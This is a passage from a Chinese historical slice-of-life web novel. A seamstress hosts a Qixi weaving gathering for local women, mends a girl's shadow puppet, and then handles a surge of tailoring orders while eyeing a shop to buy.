“能啊,”林秀水一口应下,“整个裁缝作我都能带你去瞧,我明日在门口等你。” “好好,我这坐也要坐不住了,”那娘子很兴奋,拿着麻绳东扯西扯的。 听了这几个人说的,也有其他人陆陆续续开口,有些爱好确实小众,比如喜欢捡树皮的,林秀水说:“等会儿我们会将各自爱好的巧网挂在墙上,到时候有喜欢的这类的,那么大家便是同好了。” 书院里头有很多竹竿架子,林秀水会将大家不送出去的巧网,写上爱好挂在上头,如果这也有缘能碰见的话。 如果说原本做巧网是让大家值得期待的话,那么到了这之后,突然变成了选巧网和结缘,什么蜘蛛结巧,乞巧的,通通上一边去。 大家手里拿着自己的巧纸,将自己编织好的巧网挂在架子上,有些编得很粗糙,但是自己很满意,因为网是 圆的,有这个圆网,就能骗自己得巧了。 有的编得相当认真,网像盛开的一朵花,或者是层层叠叠的,一圈圈缠绕起来,各显神通。 百来位女子欣赏着别人的手艺,穿梭在回廊下,看着屋檐下挂的巧网,身边来来往往人众多,自己要投出手里的巧网,而别人也会给自己辛苦编织的巧网投巧纸,突然生出来一种无法言说的感觉。 有娘子一直回头看大家的脸,站在那里任由衣裙穿梭过去,她说:“有点不敢想,我能跟这么多人一起过节。” “我也不敢想,天呐,有人给我编的巧网投巧纸了,我,我编得很差劲,我,我,”那个年轻的小娘子踮起脚尖看着,她内心充盈着欢喜。可是又有压制不住的哽咽,如果说编个巧网是很简单的事情,但得到了别人的喜欢,那么对于她而言,将时时刻刻记得,她并非那么粗笨。 在下个七夕前,会一直记得,她做的巧网被人喜欢,她得到的巧纸,她会一直珍藏,再也不是蜘蛛结的破网,不是穿针验巧比不上人家的懊恼,深夜痛哭。 她不会再惧怕下一个七夕。 有许多年轻的小娘子跟她一样激动,她们总是时时刻刻关注着自己的巧网,渴望得到别人的认可,当得到了后,立即欢呼雀跃起来,好像拥有了许多个快乐的明天。 而这些投出巧纸的娘子,则笑着说:“真是小孩子。” 她们会更关心有没有相同爱好的,她们放下活计出来一趟并不容易,时常迫于生计,来去匆匆忙忙,要顾家,要把小孩拉扯来,要顶着各种压力奔波。 大家抓紧机会聊着,合眼缘就聊一聊,相约烧香,或者喝茶,角落里两位娘子坐在长凳上,一个说:“你也喜欢喝酒?我千杯不醉。” “巧了,我也是!我喜欢喝王家正店里酿出来的,我还知道有一家巷子里的蒸酒,相当好品,不信你去买了喝喝看。” “走走,晚些你上我那,我也有好酒。” 两人之前压根不认识,看着面熟,聊了聊,品酒搭子就组成了。 林秀水听笑了,又转头听边上三位娘子在那说:“听杂剧是不是,我也喜欢,北瓦子那官本杂剧《眼药酸》你们看了没?我隔几日就去看一回。” 另一个娘子说:“看了看了,眼下流行的是永嘉杂剧,唱的曲也好,要不今日我们姐妹三一块去听听,难得认识一场。” 第三位娘子也赞同:“行啊,女儿节不就是应当这样过的,我再也不想去捉什么蜘蛛,陪着穿针,一年又一年,没个新花样。” 林秀水在挂着的巧网前走过,又走在蜿蜒曲折的回廊里,走在人群里,走过去又回头看,大家在手舞足蹈,在关注着自己。 聊了许久,聊到晌午,大家找到了许多知交,裁缝作的人也清点完巧网得到的巧纸。 最多的是一个缠绕得极为复杂,犹如林秀水抽纱绣里出来的镂空纱绣,一根又一根的线,甚至有劈得极为细的,大概用了三四十根麻线。 而巧网只比手掌大一点。 票数很高,有两百多巧纸,而当林秀水喊出人的名字时,那个穿着旧衣裳的娘子抬起头,她在人里很沉默,有些不敢相信,四处张望,直到听见第三遍重复喊她的名字。 她才鼓起勇气说:“我在这里。” 这娘子一直待在家里,靠糊点纸,洗些衣裳活计为生,生了老大后生老二,生了老二后生老三,三个都十来岁了,官人死了,婆母走了,她才想着可以出来寻些活计。 可她都三十好几,也没有什么太好的活能做的,正巧在乞巧市里碰上林秀水,她就抱着试一试的心过来,万一能成呢? 她无聊的时候,总时时看着屋子里的蛛网,她也会拿些破绳子绕,她会编很多网,只是从没有想过可以卖,可以换来一个活计。 只是坐在那里,听着大家的恭喜声,她又想起早上其他娘子说起做活时的神采,她的心也扑腾跳了两下。 这娘子说:“我做,这份活我做。” 其余还有六位娘子都没有想到,这份活会落在自己头上。顾娘子说前三,林秀水说七夕应当要前七,至于后七位则得到定制衣裳,之后六十名有发圈、绢孩儿,而其他人得到了巧纸、巧蛋、巧果,也有了同好,或是其他许多别人不可知的东西。 这个是与众不同的七夕,不再想着其他,只想着自己。 “明年还能有这个会吗?” 那些娘子问道。 林秀水则问过顾娘子,她点头说:“会。” 希望明年七夕是破掉所谓的网,走出自己的路来。 第70章 第 70 章 爆单了 织巧会的前半日, 织巧网和结同好,随着时间渐近到晌午,大家渐渐散场, 走出书院,各自招呼着。 “来呀,上我家吃饭去。” “今日晌午不回家, 我们去喝碗凉水怎么样?” 一群人在路上拉拉扯扯,有的又在船头喊,“阿妹,你不是喜欢剪纸的, 我家里有不少纸头,你等等我给你送来。” 有两个同为郎中的,边走边聊, 一个说:“那你在看什么,《妇人良方大全》吗?里头不是说横产、倒产、偏产、坐产,坠扑伤胎等等,我还学不大懂。” 另一个则说:“看了一些,最近倒想上绍兴去,她们那钱氏女科不是很出名吗,之前行都设在那时, 后妃也都多有诊治, 我觉得我们镇里的女科不如别人。” “石门槛是不是, 听说那里看病以石门槛为界, 门槛里面的能看,外面的不行,那里女科好,还有三六九伤科也出名的。” “你也听骨伤科的?那要更难些的, 我也去看过,专治骨头的。” 两人边走边聊,还说要一起看《女科百问》,这年头女医是少数的存在,能独立出诊的,已经三四十岁,能有同好实属不易。 年轻小娘子三三两两,走在她们身后,歪着脑袋努力听着,有一个小娘子说:“等我到这岁数,不知道能不能进到一门行当里去。” “你找牙嫂问问,我以后就当牙嫂去了,”另一个小娘子手里摆弄发圈,她说,“从前还觉得人家死要钱,这会子想想,能送人到一个行当里头去,有门活计混口饭吃,当真难得很。” “对啊,我们坐的那屋子里,有个娘子是大河棚桥那书铺里头刊刻的,她说自个儿三十岁前大字不识一个,三十岁后硬是去学去认,两年间,眼下都能雕刻本了。我比她岁数小一半,我觉得自个儿也应当去学一学。” “学什么?我也去学点来。” 一群人相互说说闹闹,互送巧网,在船边又站了许久,说了好一会儿话,才各自上了自家的船。 林秀水走了几步,送大家出门,接过别人塞到她手里的巧纸和巧网,左手搂住,右手伸出来冲人群挥手。 而后面朝还没走的七位娘子,她将东西揽在怀里说:“我们先到裁缝作里吃饭去,上工要等明日。” “小娘子,真让我们到里头去做活?一个月给两贯?”有个左脸生了个痦子的妇人问,她跑了好几步到林秀水跟前说,“我以前是在鱼行里补鱼篓的,只是眼下没 做了,这去了有没有活做?” 另有一个女人走出来,她小声地问:“我做的营生也跟裁缝作没多大干系,我之前是做冠子的。” 林秀水明白大家的顾虑,她先是笑,转身走了几步回去,而后便道:“肯定有活可以做,前三名到抽纱绣里,后四名到缝补处里,我们吃了饭,明日再说。” 这是她跟顾娘子一早定好的,编网能编得好,那么共通的点是在抽过纱的布面上,绕线扎捆肯定能做好。 其余四名,正好缝补处缺人手,而且大多是裁布。 帐设司有批新的活计,原先是想给白衣铺做的,后面被林秀水揽了过来。这活用的全是白布,做画帐用的,裁好尺寸,装在木架上,供诗人提笔写诗,或是画匠铺平作画的。 缝补只要缝四周边缘,但尺寸要求严,必须裁得直。 林秀水叫七位娘子明日再来上工,她们一谢再谢,仍处在不真实的梦里一样。 走出去也能听见她们问对方,“不是假的吧。” “不清楚,脑子糊涂了。” 今日谁也不上工,顾娘子看完织巧会就走了,她说天大的事也等明日再说,要到西湖游玩去,问林秀水去不去,游船还能坐得下。 林秀水当然不去,她也不拜月,不乞巧,不穿针引线,蜘蛛这玩意,看在纱袋最近赚钱的份上,把自己眼睛捂严实点,当作看不见。 大家都过节游玩去,林秀水在整理早上厚厚一叠,几百位娘子挂在巧网上的爱好/心愿和住址,裁缝作十来位娘子帮忙一起写的。 林秀水粗略看过,其中有些很有意思,她按着纸,来回翻找,没翻到,又重新找一遍,才抽出一张纸出来。 上面写着,我有一对很喜欢的皮影,常在年节里拿来逗其他小孩玩,可是它被扯坏了,补不回来了。 写的人来自桑道口巷子里,叫作李小娘,林秀水早上从那么多挂的巧网边走过,看了好几眼,当时人多嘈杂,她也没能找着人。 想想拿了缝补包,将镊子、针线、剪子、布尺等工具一一放进去,朝边上喊了声:“小春娥,跟我补东西去不去?” “天,”小春娥从窗外冒出脑袋来,“你真不嫌累,不去逛逛啊?” “走不走?” “走,”小春娥叉腰,“谁叫我就爱跟在你屁股后头呢。” 林秀水迈步出去,她笑道:“别说的自己跟小狗一样。” “我爱吃骨头,怎么不算小狗。” 小春娥说完,她撑起油纸伞,“上哪去,哪哪我都熟,我给你当船工。” “姚船工,我要去桑道口。” 下午河道人拥挤,时有微风,乌云来了又散,散了又来,小春娥摇船,林秀水给她唱最近小布袋戏社编的曲子,乱七八糟,不成调子。 小春娥忍了又忍,她没忍住说:“不知道的人,还以为船上养了鸭子,又养了头小牛,还有只鸟一直在喳喳叫。” “拐弯抹角骂我呢?”林秀水哼一声。 “我是光明正大地说,林小牛。” 林秀水哞了一声。 结果隔壁两艘船的人都将脑袋探出来,再找哪艘船上藏了牛。 小春娥嘎嘎大笑。 桑道口有很出名的雪泡缩皮饮,是用缩砂仁、乌梅肉、炙甘草等做的,两人买了两碗,坐店里吃了,再去找人问路。 李小娘家住在巷子口,挂着两个灯笼的人家,这个巷子里大家靠洗毡和淘井为营生,东边过去是之前东京过来的人,有许多人仍保留着冬天用毛毡铺地上,夏天洗毡子的习俗。 家家户户有许多口井,这里的河时常堆积许多的黄泥,井会成为枯井,要有人下到井里去清淤,这叫淘井。 巷子里到处是泼出来的水,东一块西一块,泛着白白的泡沫,积在凹凸不平的地方。她俩到的时候,李小娘在给妹妹看她编的巧网,院子里有很多块毡子。 “咦,”李小娘惊奇,她赶紧拿凳子,“林小娘子,不,林管事,你们怎么来了?找我拿巧网的?” 小春娥从林秀水背后伸出脑袋,她摇摇头,“我们来给你补皮影的呀,不是我,是她要上门来的。” “你说有补不好的皮影,我缝补最厉害了,上门给你瞧瞧,叫我阿俏吧,喊我林管事怪生疏的。” 林秀水说完,她把包挪到前面来,她还是头一次跑这么远,之前都是大家送来给她,不管是桑树口还是河道口两岸,再远点,孙大和宋三娘也会送过来。 李小娘再度吃惊,她妹妹跟她一个神情,眼睛瞪得大,嘴巴能塞一个鸡蛋,而后才回过神,赶紧跑到屋子里,拿出破损的皮影。 不是用纸做的,林秀水伸出手,她很确定是用羊皮做的,补蹴鞠补了那么久,羊皮一上手能摸出来。 小春娥帮李小娘一起拼凑,皮影凑起来是一对,一个女子扎高发髻,身上穿的衣裳为红黑蓝三色,花纹很多,另外一个则为男子,戴高帽,穿绿色的袍子。 李小娘叹口气,“就是扯坏了,从前我是用白纸做的,摆弄不到一个月便坏了,这是我攒了一年的钱买的,用羊皮雕的。” 她说起来皮影来时,平凡的脸上也有动人的光彩,指着皮影上头的连接处说:“这是头、胸、腹,两腿两手臂,手臂这块还有手肘,肘下面有双手,总有十一个部分拼凑出来的。” “你们看这些手肘和手臂交接的地方,都会有一个透出来的黑影,这点叫作骨缝,中间这处是骨眼,用羊肠线穿过骨眼能把整个皮影人给立起来。” “想要动起来,靠粘着的这三根扦子,握在手里便能反过身,眼下是没法动了。” 扯坏的地方一在头跟衣物相交处,二在中间这一块,但是边缘很整齐,也没有拉伸的痕迹,更像是剪的。 林秀水没多问,李小娘低着头摆弄,她小声又低不可闻地说:“补不好就算了,我也没有很喜欢。” “我还是洗毡子最好。” 林秀水则拿出针线来,她抬起头看李小娘说:“要是补好了呢?” 小春娥说:“补好了,补好了那就又多了一个高兴的人。” 李小娘子的妹妹也拍手,她才五岁的样子,伸出三个手指说:“是两个。” “不对不对,是很多很多个,”她张大手说。 林秀水在劈细线,皮影断在脖子处的话,光影一照肯定能照出来,肚子断裂处也一样。林秀水先用细线在羊皮处,慢慢挑针细缝,她有钱后,买了三百文一枚极细的绣花针,针好,而且她每隔三日补一筐蹴鞠,缝补皮子对她来说不是难事。 一针一针又快又稳,断裂的地方在几人眼睁睁瞧着下,也不知道从哪一针开始,便突然地从缺口处,严丝合缝地拼凑一块。 不拿到日头下对着光照,看不出很明显的破损,林秀水缝补的手艺在抽纱和各种磨炼后,越发精湛了。 哪怕天热,吹来的风也是闷闷的,她就能安稳坐在那里,将断裂的皮影细细缝合好,她脑子也有闪过,之前遇到缝缺唇的那位娘子,她说能有本事的话,一定要做到最好。 林秀水缝好后,擦了把汗,她说:“再补一道衣领和裙带,这样照的时候看不出来。” 李小娘已经摆弄着补好的皮影,她呆呆地看着,烈日下那两道修补过的细痕,想流泪,又流不出来,只是笑着。 “没事,我知道它坏了,不用遮了,林管事,不,不是,阿俏,”李小娘语无伦次说着,上下摸着衣裳,想要掏兜给钱。 “不用给了,你给我讲讲这个皮影吧,”林秀水笑着摇摇头,她收好针,穿好线等着李小娘说。 李小娘爹娘去收毡子了,要等晚上才能回来,两人都见不惯李小娘这爱好,怕她不好好洗毡子,抢不好抢,就给剪了。 可李小娘是真喜欢。 “我们巷子要偏些,巷子口有许多孩童,我去其他巷子里的时候,发现那边年节都会设小观影棚子,有人在那专门弄影戏 ,也就是皮影让小孩别乱跑。” “我们巷子里丢过一两个小孩,我想要是有影戏的话,她们不至于丢了,就想学皮影,自己做了个小观影棚子,年节的时候在巷子口摆。” 她妹妹说:“很喜欢,大家都喜欢瞧。” 李小娘好几年都会偷摸摆,她爹娘总是骂人又总是生气,她等人都睡了,拿出来放到窗外,借着月光摆弄一番。 她曾经想当弄皮影的匠人,可这会儿面对修补好的皮影,她想当做皮影的匠人,别人要是再剪坏,她可以自己重新做。 她从前没有勇气,可是今日她听了许多行当里的事,有人专门来给她修皮影,她突然下定决心。 林秀水却说:“攒一年的钱买皮影的时候,你已经有了。” “我们两个可以看看你的观影棚子吗?” 她和小春娥看李小娘,在一个简陋的白纸棚子里,尽情晃动着皮影。 走前林秀水说:“我认识卖羊皮的匠人,如果你想要做的,二十文可以买一张羊皮。” “啊?真的能有这么便宜吗?”李小娘喊破音了。 “真的,当皮影匠比洗毡子更适合你。” 在李小娘要日后一直洗毡子前,她先下了决定,要做一个皮影匠。 林秀水出门前,将那张写着皮影修不好的纸条折起来,跟小春娥出门去。 小春娥说:“完了。” “啥?” 小春娥兴奋地开口,一直倒退着走路,“要不以后你干到处缝补做衣的活计,我就给你提包,跟着你走,我真迷上了。” 那种补好一件东西的快乐,补的人高兴,看的人紧张又欢喜。 她发现,阿俏一出手,她就只顾着看手了。 “不烧炭了?”林秀水笑着戳戳她肩膀,“立秋都到了,不想秋天到油烛局里去了?是谁说的,我要先到镇里的油烛局里,再上临安府去,也要做管事,做烧香烧炭里最厉害的人。” “是小春娥吗?” “那当然,”小春娥跟她并肩走,“我觉得我肯定可以,毕竟也没有谁大热天的,等夜里凉快起来,还要烧点香凑边上瞧的是不是。” 小春娥慢慢地走,慢慢地说:“我呢,是不适合缝补的,立秋到了,之后就会凉快下去,缝补处也有了人手,阿俏,我想想,我还是要回去烧香的。” 缝补处很好,阿俏总照顾她,她们两个一起吃饭,晌午睡在屋子那张床上,总有说不完的话。 小春娥踩过一个水洼,她转过头说:“今日听了那些娘子说的,我是当不了很厉害的人,能烧好炭,我就觉得很踏实。” 去年的七夕她在干什么,反正肯定是乞巧、望月,那个时候的她也高兴,可今年的话,她站在这里,什么也不干都觉得很好。 林秀水说:“明天就回去吗?” “是啊,烧炭嘛,宜早不宜迟,我都要不认识炭了。” 林秀水抬头看了眼天色,夏日里黑得慢,突然拉住她的袖子,“走,我给你当船工,我们去看看油烛局。” “啊?” 林秀水拉着她跑,衣裙飘飘,“啊什么,今天看了这么多女子,就是看了许许多多个的好,那我们就去更好的地方瞧瞧。” 上了船,让小春娥到后面去,她在前头摇船,帐设司的路她走过很多次,那么多次里,她路过油烛局,总会想那是小春娥以后会来的地方。 “总要去看看的,”林秀水说。 这个下午两个人进了四司六局,拖张小四的关系,到油烛局里瞧一瞧,哪怕在镇里,油烛局也相当大。有专门做灯笼的,做宴会要用的灯油,有间屋子里有各式各样精巧的烛台、烛台、立式的灯架,有成堆成堆的木炭、香炭、兽炭、蜡烛等等。 大家穿四司六局的衣裳,行走在各个屋子里,井然有序,小春娥见到了别人口中说的油烛局,说的掌灯火照耀、上烛、修烛、点照、压灯、办席、立台、手把、豆台、竹笼、灯台、装火、簇炭。 她喃喃自语,“我以后真的能到这里来吗?” “当然可以。” 不是自问自答,是林秀水坚定地回答。 小春娥捂着怦怦乱跳的心,她对这些总是百看不厌,哪怕枯燥又乏味,也总是能看出点乐趣,林秀水打着哈欠,眯着眼陪她看了大半个下午,问了很多东西。 出来的时候,黄昏边上,夕阳西下,两个人脚步一致,影子相靠。 小春娥则在这时想,要是哪天突然对烧炭疲倦厌烦的话,她大概会想起这个午后,她站在油烛局里,旁边有人一直陪着她,像可靠的烛台。 这个难忘的七夕过去后,相隔不到一日的立秋来临,小春娥收拾东西,回到熏香处里,她想试一试八月中旬进油烛局。 林秀水则看着七夕后,织巧会带来的丰厚谢礼。 她默默合上有很厚的单子,揉揉眉心,不想同顾娘子说,她自己也有相当多做衣裳的活。 人生头一次体会三个字,爆单了。 70-75 第71章 第 71 章 看铺子 织巧会过去, 裁缝作迎来了井喷式的单子。 通常裁缝作是接成衣铺的活计,先是顾家自己的成衣铺,其次是镇里开外的其他成衣铺, 她们会报过来各种尺数,一次做三十件到百来件不等。 很难得能有一百多的散客。 管这块的是瘦瘦高高,话不多的张娘子, 她每日只要把接的活,明确哪处哪家尺数,多少件、什么时候要,有没有特别的要求等等, 确定好,发给底下其他人,拆件分出来, 安排到各个屋子里做好。 眼下屋子前围了这么多人,她刚开始还数几个,后面人渐多,她默默放下了自己的手,平常一天里最多说十句话,大清早就翻十番。 一个人可以不接,百来个人, 不想接都要被唾沫星子淹死。 她只想喊, 七夕结的网太多, 她要成织女了。 “我昨天到你们裁缝作办的织巧会里, 认识了两个不同姓的姐妹,说到你们这来做衣裳,做一样的,我们三个身形可不一样。” 张娘子正低头狂记, 墨汁都甩到袖子上了,闻言赶紧抬头看,三人站成了一个凹字。 她边点头边记,“到那边量个身先,等会儿过来,给你们一块做,可以挑料子。” “还有我这呢,我之前来来回回到几个成衣铺子里去瞧,那些衣裳都不大满意,做工也觉得一般,昨日来了一趟,觉得你们裁缝作不错,给我先做一身,再给我闺女做一身,”一个女人隔着人在那里喊,喊完又问,“多少钱?” “晚点,晚点,”张娘子在狂算。 半日工夫,便有厚厚一叠,甚至没有算完,张娘子疯跑去找顾娘子,一股脑塞过来,坐那里“痛哭流涕”。 这些单子都顾娘子推到林秀水边上,“那边张娘子的意思,是叫你去帮帮她。” “还有这些活,”顾娘子又伸手点了点,“有大半想分给你做。 林秀水惊讶,林秀水不解,她失声问出口:“啊,不是?给我做?” 她自己昨日也有不少的单子,赶紧拿起来又翻了翻,一翻开,各种要求和尺数底下,胡乱写着大字,依稀能从没有墨水的毛笔涂抹中,看出来是林秀水三个,后面干脆只有个水或者林字,秀字多几笔都不愿意写。 谁指明道姓请她做衣了。 “一两个散客我们不想接的,可人这么多,招幌都给架上了,所幸我觉得也不错,”顾娘子给林秀水倒了杯茶,自己捋直裙子慢慢坐下来,“我们裁缝作里接的活大差不差,大家来来回回做的全是那些衣裳,正巧这些活计瞧着挺有意思的,可以多接点。” 顾娘子对裁缝作眼下做的衣裳,并不算很满意,认为每日做相同的东西,闭着眼睛也能做好的,那会让人越发懒散。最好来点新奇的,棘手的,能叫大家醒醒神。 “你先去那帮忙吧,其他我们到时候再说。” 林秀水也顺着顾娘子的视线看过去,张娘子的徒弟在门边来来回回踱步,一见林秀水看来,她立即双手合掌,竖在鼻子前,朝林秀水拜了拜。 “走吧,”林秀水合上本子,拿好纸笔,跟着人家出门,她跟张娘子不同,面对这么多人,脑子里想的就是自己从前生意最多的时候,乌泱泱的人找她缝补。 非但不觉得人多,反而觉得,来活了。 林秀水动了动肩膀,进去倒上满满一茶盏的水,先喝几口,叫里面伙计去借点伞来,再搬点椅子,先请娘子们坐下来,挨个说。 张娘子一见她来,当即松了口气,她压根不会回话,林秀水则很有架势,一上来便叫大家先坐定,一个个来说。 “诺,林管事,这是我家闺女,昨天你见过的吧,下个月要及笄了,正愁穿什么衣裳呢?”一个女子拉着一个很瘦的小娘子上来,她愁死了,“太瘦了,穿的衣裳都不大好,我们就想做点合身的,最好显些气色。” 林秀水停了笔,认真看人家的脸,她跟金裁缝学了学看人的身材下布尺的皮毛,琢磨了下,才回道:“腰身太细,我们可以做百褶裥的裙子,也能再加宽布幅做千褶裥的。我们裁缝作里做裙子的,有位李二娘子,她的三个徒弟做这个都很拿手,褶子会打得很漂亮。” “你们还可以自己选料子,诺,这是我们裁缝作的今年先上的布料样式,这款偏橙红的布料是绢布的,厚底,过一个月天将冷下来 也能穿的。她人瘦还可以穿上襦,外面再搭一件,颜色的话,红色其实可以的。” 林秀水说得很细致,别人来问就是拿不定主意,她在裁缝作混迹很久了,随口一说能帮别人许多,从头到脚都能说上点,可叫为及笄礼备得心焦的母女二人,缓和了许多,同意到边上慢慢挑布料,等着做新衣。 张娘子在旁边看着,冒出一万个念头,最后只有几个字,这也太行了。 她费了那么多口舌,人家说她不会说就换人来。 这对于林秀水而言,跟支摊的时候差不多,甚至比摆摊还要轻松,衣裳又不能说了立即做,可是缝补那是拿到手的时候,就得看出什么毛病,边补边同人说。 她甚至还能慢慢喝口水,将目光从来人身上看一圈,能确定大概是个什么样的人。 后面是个老太太,林秀水确定没见过她,老太太也很和蔼,她说:“是我闺女带我来的,说这里人好,叫我来做件合身的衣裳。” “我今年六十五了,腿脚都不大好了,蹲也蹲不下来,我就不穿裙了,只穿里裤和外裤,又怕冷,最多绑腹围,或是搭合围裙,”老太太虽然两鬓斑白,眼神也不好使,口齿却很清楚。 “我已经好些没穿过裙子了,我明年都六十六了,我瞧我边上住的士大夫们,都会请画匠来画张自己的画像,挂在自己家里,叫作什么写真,我也想画一张来。” 老太太的愿望是六十六岁前,穿着五六年再也没有穿过的裙子,请画师来给自己画一张写真画。 林秀水对写真倒是知道一些,之前盛行于士大夫间,他们很喜欢请画师来给自己画像,画完便会写诗,叫作画像赞、自赞,画得好的,神形兼备。 她先问道:“那阿婆你想要穿什么裙呢?” 老太太说:“什么裙也不大说得上来了,我从前穿八幅的裙幅。” 百迭裙大多是六幅、八幅到十二幅的裙宽,只不过坐下来褶散开来,要是留在画上面,不会太好看。 老太太年纪大些,其实更适合穿三裥裙,用四块方布拼接,只有三道褶,其余为素面,最近也盛行另一种裙子,叫作夹裙。这种裙子布料用得不算多,是拿两片裙子相互重叠,在中间留出光面,重叠的左右两端打上数道褶,里头有一层衬里,不是絮丝绵的,穿起来会稍显厚重,坐下来两边的褶会自然垂落。 她跟人家商量后,确定要这种裙子。 林秀水站起身,腿将凳子往后推,发出吱呀一声,引得坐着的人回过头瞧她,老太太也紧张起来,摸索着拿边上的拐杖。 “这难不成不能做?”老太太想站起来,好几个坐着的娘子也站起来,围上来瞧。 而林秀水只是弯腰,拉开右手边的抽屉,取出两条布尺,转身差点没吓一跳,一群人围在一起,齐刷刷扭头看她。 “怎么了?”林秀水奇怪,她扯平布尺,“我量个身。” “哦哦,量身啊,量身好啊,”站最前面的人干笑,一脸失望,将踮着的脚放下,没热闹瞧了。 “是量身啊,我以为搜身呢。” “看到这布尺,”有个娘子推推前面三个人,非要侧着身钻过来,一拍大腿道,“我那小姑子你们知道不,去买布前要拿五根布尺,在布店里量了又量,每块布量个遍,结果拿回来,一量还是少了一大半。” “我婆母气死了,揪她耳朵问到底咋买的?” “你们猜咋买的?” 大家七嘴八舌说着,那娘子叉腰,撇着嘴道:“啥呀,她回来说买布一尺尺量麻烦,干脆把五根布尺全给打了结,接成一根长的量,量到哪算哪。” “我婆母说她是眼睛撞河里虾群里了,一通瞎扯。” 众人闻言哄堂大笑,林秀水正给老太太量腰身,也笑得手抖,她最怕干活碰上嘴巴能说,又在边上打岔的。 一个人一张嘴巴,百来个人百张嘴,叽叽喳喳。 活是一个接一个,林秀水坐下又站起,水喝了一肚子,脑瓜子嗡嗡的。 什么裙子裤子褙子,纱缎绢布还是罗的,胖的矮的高的瘦的。 她决定给大家发签筹,一个个来。 等送走最后一个,张娘子趴在桌子上,“我不行了,你给我叫个大夫来。” “什么大夫?”林秀水正整理一堆的纸,拍了又拍,压了又压,最后靠在椅子上揉额头。 “香大夫。” 林秀水侧过身去,好奇道:“那是什么大夫?” 张娘子慢悠悠说:“是香水行啊,泡澡不行,还可以再来几个大夫,铜板大夫、金银大夫,再不行,还能吃大夫。 ” “滴酥鲍螺、糖瓜蒌、酪面、丝鸡面、鹿梨浆、五苓大顺散…” 林秀水伸手往后面桌子捞过一只碗,倒了杯水递过去说::“那以我的身家,只能给你请个水大夫。” “抠门。” 抠门就抠门,不是给她赚钱,林秀水起身抱起纸,又拉张娘子一把,“走,讨钱去。” “能不能换个字眼,我不想讨饭。” 林秀水换个词,“要钱去。” 张娘子叹口气,“更像了,你下次说花钱去,我二话不说就跟你走。” “花你的钱。” 张娘子不说话,她当即迈出门槛去,做梦。 两人急匆匆走在裁缝作的小道上,掐着下工的点堵顾娘子。 “我也要回家的,”顾娘子当真想走了,她上午成衣铺,下午裁缝作,只想回家。 “我也要回,”林秀水顺嘴接话,顾娘子往右走,她也往右,顾娘子往左,她也往左。 顾娘子干脆站在那说:“得得得,你说。” 张娘子嘴急着还,飞快说道:“这里总共加起来有八十七份的活计,每个收取定钱不等,加起来总共有一百三十八贯多点。” 她这句话说得很慢,“我们忙活了一天,话说得比钱多,真的吃不消啊。” “嗯,”顾娘子听完,没有露出惊喜的神色,只是站在那里,看了两人一眼,吐出两个字道,“那加餐。” 张娘子喊:“不行啊。” “那不行,给张娘子加点钱吧,”林秀水紧随其后道。 张娘子惊奇地转过脑袋看她,疯狂冒出来五个字,好人啊好人。 明日还有单子,一百多人的单子,一个人三贯到五贯不等,裁缝作能赚至少五百多贯,大家心里都有把算盘,刨除那些布料、工钱等等,至少有几十贯到一百贯的赚头。 顾娘子心里满意,嘴上只说:“加,两个都加。” “明天加,这会儿回家去。” 林秀水溜得比谁都快,顾娘子说完,她挨个告辞,一 溜烟跑走了,她自己还有接的活呢。 下了船匆匆上岸,被人叫住,林秀水没认清脸,手里多了一堆绿油油的宽叶子。 那人说:“立秋要戴楸叶,阿俏你拿去,戴头上,多戴点。” 林秀水一手握不住,用衣裳兜住,忙说:“没有那么多头能戴啊。” 人家被她说得一愣,想想有道理,将脑袋伸过去,“要不借你一个。” 林秀水抖了抖怀里的叶子,她给人家插上,道了声谢,转头过桥,往租的屋子那里赶。 先进屋将叶子放好,跟正在缝补的周娘子说:“周姐,你帮我接下小荷,让她先过来这吧,我有些活要忙。” “好,我这会儿就去接。” 而林秀水这会儿有一堆的活,杂七杂八记了下来,还得先整理,看看能不能做先。 整理到很晚,连王月兰都从织锦作坊里回来了,她还在那算。 第二日到裁缝作里,张娘子加月钱了,飞跑过来喊她,“钱来了——” 一堆人看过来,林秀水原本想直走的,脚下拐了好几个弯,赶紧点头,往顾娘子那里去。 顾娘子正在算账,见有人进来,头也不抬,听脚步声就知道是谁,林秀水的脚步永远很轻快。 “坐吧,能接这么多单子,功劳都算在你头上,”顾娘子停在要算的账,将手按在算盘上,“我们成衣铺也卖了许多件衣裳。” 许多件是大半个成衣铺的衣裳,全部被买下,很多人来说,在几家的成衣铺里挑了又挑,缝的又差不多,织巧会后就选她们家的,造成了难得一见的盛况。 顾娘子此时没有轻易说加钱,先问林秀水,“你想要什么?” 林秀水刚坐好,手搁在桌子上,闻言便看顾娘子的算盘,从前在成衣铺的时候,她和小春娥是看顾娘子的脸色来确定阴晴的。 后来她们发现,只要顾娘子一拿起算盘算钱,心情都不错,当日进账也相当多。 又见到熟悉的算盘,她的眼神在上头转了转,抠着桌子边缘,在要钱和另外的要求里,她想了想道:“我想要裁缝作里的采买布料,让我能先挑几匹。” 当然她更想要稳定的布料供货渠道,她说想开间铺子时,之后的路都有考虑过。 “一个月让你挑十匹,不限什么料子,”顾娘子拍板。 林秀水这下倒是惊讶了,不限料子?绫罗绸缎光一匹得要五贯,她有点结巴,“真的吗?”“什么布都可以吗?” “真的,”顾娘子说,“你确定只要布了?” 那当然,林秀水猛猛点头,五十贯钱也不一定能买来十匹好料子啊。 她顿时觉得前面一片大好“布”景,顾娘子说:“这事归这事,再给你加五两银。” 林秀水坐在那里,想不要笑,可嘴角忍不住翘起,想哼点歌,之前靠七夕的市集以及各种买卖,她赚了十二三贯,裁缝作又赚钱,攒的钱能买间临街的小铺子了。 她一赚了钱,数清到底有多少钱后,七十多贯,她便找张牙郎去了,跟他一块去看临街的铺子。 暂时先不买,但要瞧瞧,累的时候就想想她想要买的铺子,当下便欢欣雀跃。 她一来,张牙郎茶杯挨到嘴边也立即放下,从边上的布袋里拿出张卷好的地经,赶紧招呼道:“小娘子你来瞧瞧,你说前头的铺子太小,这几间铺子好。” “诺,这家前几日刚说要搬走,就在南货坊边上,左边是徐家扇子铺,右边是戚家颜色铺,铺子比你之前看的那间要大许多,价钱也翻一番,要一百四十贯。” 林秀水点了杯茶,喝了口,边上有点茶婆婆在做茶百戏,举着茶壶冲泡,茶沫渐渐成了鸟的形状,听说能做不少花鸟虫鱼的造型,她看了好久,没回话。 张牙郎看她这么稳当,一百四十贯也面不改色,顿时喜上眉梢,指着地经上面最大的铺子说:“要不小娘子你看看这一间,有两层楼,里面还有三间大屋,两间小屋,这价钱好说的,三百二十贯。” “张牙郎,我最近还不想坐监牢,”林秀水差点呛到,咳了两三声,“我又没有去抢劫,一夜能冒出这么多钱,当然你二十贯卖的话,我保不准就买了。” 两个人谈不拢,张牙郎也还不想当傻子。 